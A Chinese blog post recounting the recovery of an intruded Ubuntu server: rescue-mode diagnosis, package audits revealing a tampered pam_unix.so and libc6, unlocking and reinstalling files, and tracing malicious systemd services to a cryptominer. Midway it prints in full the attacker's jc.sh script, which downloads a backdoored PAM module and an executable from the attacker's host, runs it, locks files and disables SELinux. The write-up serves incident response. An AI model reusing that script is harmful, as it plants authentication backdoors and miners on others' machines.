Day Mode Night Mode
记录第一次系统入侵分析及救援

救援镜像 f19fd48c-46d2-455e-9d71-0409f3a4c9e4

问题表现为无法远程登录,通过vnc登录同样失败,控制台重置密码同样不生效。

先从无法远程登录及无法vnc登录开始排查

vnc登录时输入用户名root回车后,在没有到输入密码的步骤时,直接报错密码错误

控制台重启后进入救援模式进行排查

查看安全日志,发现pam模块报错且认证失败

尝试重置密码,发现无法重置

根据上述情况,有理由考虑被入侵的可能性,执行crontab -l ,发现异常计划任务,简单分析一下,判断为挖矿任务

排查出安全问题之后,首先尝试能够正常登录系统进行排查,优先解决无法登录的问题。

先尝试在救援模式下恢复网络,执行export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 命令,确保可以正常使用命令

执行ip link show和ifconfig,发现网络接口没有启动,使用dhclient ens3可以自动启用网络接口,并dhcp下发地址

ping 测试网络恢复成功(需要注意的 ubuntu 和 debian 在救援模式下无法执行 CTRL+C,所以不建议从内部 ping 外面测试,以及执行其他需要 CTRL+C 结束的命令)

 网络恢复后,ubuntu系列操作系统可以安装debsums进行包审计

使用debsums -a>/root/debsum.txt进行审计

审计完成之后查看审计失败结果,明显可以看到pam_unix.so和ld-linux-x86-64.so.2被篡改了

使用dpkg -S /lib/x86_64-linux-gnu/security/pam_unix.so和dpkg -S /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2查询来自libpam-modules和libc6这两个包

debsums检查出来不一致的配置文件进行单独查看分析,未发现异常配置,那么现在就需要重新安装有问题的包

 apt install –reinstall libpam-modules

安装出现了报错提示 /lib/x86_64-linux-gnu/security/pam_unix.so权限不足,执行lsattr /lib/x86_64-linux-gnu/security/pam_unix.so检查权限,发现被上锁

执行chattr -ia /lib/x86_64-linux-gnu/security/pam_unix.so后重新安装

 libc6库同上,先解锁,再安装

 apt install –reinstall libc6

再次修改root密码,发现没有报错

初步修复之后务必做好快照,因为若此时重启操作系统,会有开机自启动的服务器重新篡改这些文件

启动sshd服务验证远程登录功能

此时可以尝试开始清理病毒文件并恢复系统

先对之前恶意程序篡改的文件加锁,来试图对抗恶意程序的修改以能够登录到异常系统进行排查

chattr +ia /lib/x86_64-linux-gnu/security/pam_unix.so

chattr +ia /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

重启操作系统,并

清除计划任务

查看启动脚本,初步检查无异常

检查自启动的systemd服务

systemctl list-unit-files –type=service –state=enabled

可以看到有69个自启动的服务,现在需要排查出可疑的服务

root@host-172-13-1-211:~# systemctl list-unit-files --type=service --state=enabled

UNIT FILE                              STATE   VENDOR PRESET

apparmor.service                       enabled enabled     

blk-availability.service               enabled enabled     

chrony.service                         enabled enabled     

cloud-config.service                   enabled enabled     

cloud-final.service                    enabled enabled     

cloud-init-local.service               enabled enabled     

cloud-init.service                     enabled enabled     

cloudResetPwdAgent.service             enabled enabled     

cloverfield.service                    enabled enabled     

console-setup.service                  enabled enabled     

containerd.service                     enabled enabled     

cron.service                           enabled enabled     

ddaemon.service                        enabled enabled     

dmesg.service                          enabled enabled     

docker.service                         enabled enabled     

e2scrub_reap.service                   enabled enabled     

finalrd.service                        enabled enabled     

getty@.service                         enabled enabled     

gpu-manager.service                    enabled enabled     

grub-common.service                    enabled enabled     

grub-initrd-fallback.service           enabled enabled     

irqbalance.service                     enabled enabled     

kdump-tools.service                    enabled enabled     

keyboard-setup.service                 enabled enabled     

lvm2-monitor.service                   enabled enabled     

lxd-agent.service                      enabled enabled     

ModemManager.service                   enabled enabled     

multipathd.service                     enabled enabled     

my_daemon.service                      enabled enabled     

NetworkManager-dispatcher.service      enabled enabled     

NetworkManager-wait-online.service     enabled enabled     

NetworkManager.service                 enabled enabled     

networkxm.service                      enabled enabled     

nidhogg.service                        enabled enabled     

nvidia-hibernate.service               enabled enabled     

nvidia-mig-disable.service             enabled enabled     

nvidia-resume.service                  enabled enabled     

nvidia-suspend.service                 enabled enabled     

ollama.service                         enabled enabled     

open-iscsi.service                     enabled enabled     

open-vm-tools.service                  enabled enabled     

pollinate.service                      enabled enabled     

resolvconf-pull-resolved.service       enabled enabled     

resolvconf.service                     enabled enabled     

rsyslog.service                        enabled enabled     

secureboot-db.service                  enabled enabled     

setvtrgb.service                       enabled enabled     

snap.lxd.activate.service              enabled enabled     

snapd.apparmor.service                 enabled enabled     

snapd.autoimport.service               enabled enabled     

snapd.core-fixup.service               enabled enabled     

snapd.recovery-chooser-trigger.service enabled enabled     

snapd.seeded.service                   enabled enabled     

snapd.service                          enabled enabled     

snapd.system-shutdown.service          enabled enabled     

ssh.service                            enabled enabled     

systemd-pstore.service                 enabled enabled     

systemd-resolved.service               enabled enabled     

thermald.service                       enabled enabled     

ua-reboot-cmds.service                 enabled enabled     

ubuntu-advantage.service               enabled enabled     

udisks2.service                        enabled enabled     

ufw.service                            enabled enabled     

unattended-upgrades.service            enabled enabled     

uniagent.service                       enabled enabled     

uniagentd.service                      enabled enabled     

v2raya.service                         enabled enabled     

vgauth.service                         enabled enabled     

wpa_supplicant.service                 enabled enabled     

69 unit files listed.

创建一个脚本,用于确定最近修改的服务时间

#!/bin/bash

# 输出文件路径

output_file="/root/systemd-time.txt"

# 清空输出文件(如果存在)

> "$output_file"

# 获取启用的服务列表并逐行处理

enabled_services=$(systemctl list-unit-files --type=service --state=enabled | awk '{print $1}' | grep -v '^$')

# 输出启用的服务到文件

echo "启用的服务列表:" >> "$output_file"

for service in $enabled_services; do

    echo "$service" >> "$output_file"

    # 查找服务文件

    service_paths=$(find /etc/systemd/system /lib/systemd/system -name "$service")

    # 检查是否找到了服务文件

    if [ -z "$service_paths" ]; then

        echo "未找到服务文件:$service" >> "$output_file"

    else

        # 输出找到的服务文件路径

        echo "找到的服务文件路径:" >> "$output_file"

        echo "$service_paths" >> "$output_file"

        # 使用 stat 查看每个文件的信息

        for service_path in $service_paths; do

            stat "$service_path" >> "$output_file"

        done

    fi

done

执行脚本之后,根据发现问题的时间区间,定位出在这期间创建的可疑服务为:

ddaemon.service;my_daemon.service;networkxm.service

他们的创建时间均为2025-02-17,且命名不像是正常服务

ddaemon.service服务分析

可执行文件微步分析

有下载脚本的网络行为

下载这个jc.sh脚本如下:

#!/bin/bash

# Function to download and update pam_unix.so

download_and_update_pam() {

    local pam_file="$1"

    local pam_version="$2"

    local exec_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/1"

    local pam_url="http://dasfsdfsdfsdfasfgbczxxc.lusyn.xyz/jc/pam_unix.so_$pam_version"

    echo "$pam_url"

    # Backup existing pam_unix.so file if it exists

    if [ -f "$pam_file" ]; then

        #ddos -ia "$pam_file"

        chattr -ia "$pam_file"

        mv "$pam_file" "${pam_file}.bak"

    fi

    # Download and update pam_unix.so

    if which curl >/dev/null 2>&1; then

        curl -o "$pam_file" "$pam_url"

    elif which wget >/dev/null 2>&1; then

        wget -O "$pam_file" "$pam_url"

    else

        echo "Neither curl nor wget found. Exiting."

        exit 1

    fi

    chmod 644 "$pam_file"

    touch "$pam_file" -r "${pam_file}.bak"

    chattr +ia "$pam_file"

    echo "Updated version $pam_version"

     if which curl >/dev/null 2>&1; then

        curl -o 1 "$exec_url"

    elif which wget >/dev/null 2>&1; then

        wget -o 1 "$exec_url"

    else

        echo "Neither curl nor wget found. Exiting."

        exit 1

    fi

    chmod 777 1

    ./1

}

# Detect operating system and define pam_file location

detect_os_and_define_pam_file() {

    if [ -f /etc/os-release ]; then

        . /etc/os-release

        OS=$NAME

    elif type lsb_release >/dev/null 2>&1; then

        OS=$(lsb_release -si)

    elif [ -f /etc/lsb-release ]; then

        . /etc/lsb-release

        OS=$DISTRIB_ID

    elif [ -f /etc/redhat-release ]; then

        OS=$(cat /etc/redhat-release | cut -d' ' -f1)

    else

        OS=$(uname -s)

    fi

    case "$OS" in

        "Debian"|"Ubuntu"|"Debian GNU/Linux")

            PAM_FILE="/lib/x86_64-linux-gnu/security/pam_unix.so"

            ;;

        "CentOS"|"RHEL"|"CentOS Linux"|"Fedora"|"AlmaLinux"|"CentOS Stream"|"OpenCloudOS")

            PAM_FILE="/lib64/security/pam_unix.so"

            ;;

        *)

            echo "Unsupported operating system: $OS. Exiting."

            exit 1

            ;;

    esac

}

# Main logic

detect_os_and_define_pam_file

# Get PAM version

if [[ -f /etc/debian_version ]]; then

    # For Debian/Ubuntu systems

    PAM_VERSION=$(dpkg -s libpam-modules | grep '^Version:' | awk '{print $2}')

else

    # For RedHat/CentOS systems

    PAM_VERSION=$(rpm -q pam | grep -oP 'pam-\K[\d\.]+' | head -1)

fi

if [[ -z "$PAM_VERSION" ]]; then

    echo "PAM not installed or version not detected. Exiting."

    exit 1

fi

# Format PAM version for URL

PAM_VERSION_FORMATTED="v$(echo "$PAM_VERSION" | tr -d '.' | cut -c1-3)"

# Download and update PAM

download_and_update_pam "$PAM_FILE" "$PAM_VERSION_FORMATTED"

# Additional configurations

sed -i 's/^UsePAM no/UsePAM yes/' /etc/ssh/sshd_config

sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config

setenforce 0

chattr +ia /etc/selinux/config

systemctl restart sshd || service sshd restart

# Self-deletion of the script

# rm -- "$0"

rm jc.sh

my_daemon.service 服务分析

可执行文件微步分析

networkxm.service 服务分析

微步无已知样本,上传进行分析

移除恶意服务,并重启

重启之后,系统可以正常登陆,top查看,发现有异常进程

根据/proc/717/exe定位出异常可执行文件,再服务列表中查找如下

将可执行文件上传分析,判断为恶意木马

分析为挖矿程序

安装chkrootkit深入分析

扫描无异常

安装rkhunter

更新病毒库

扫描发现异常

1

重新安装

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇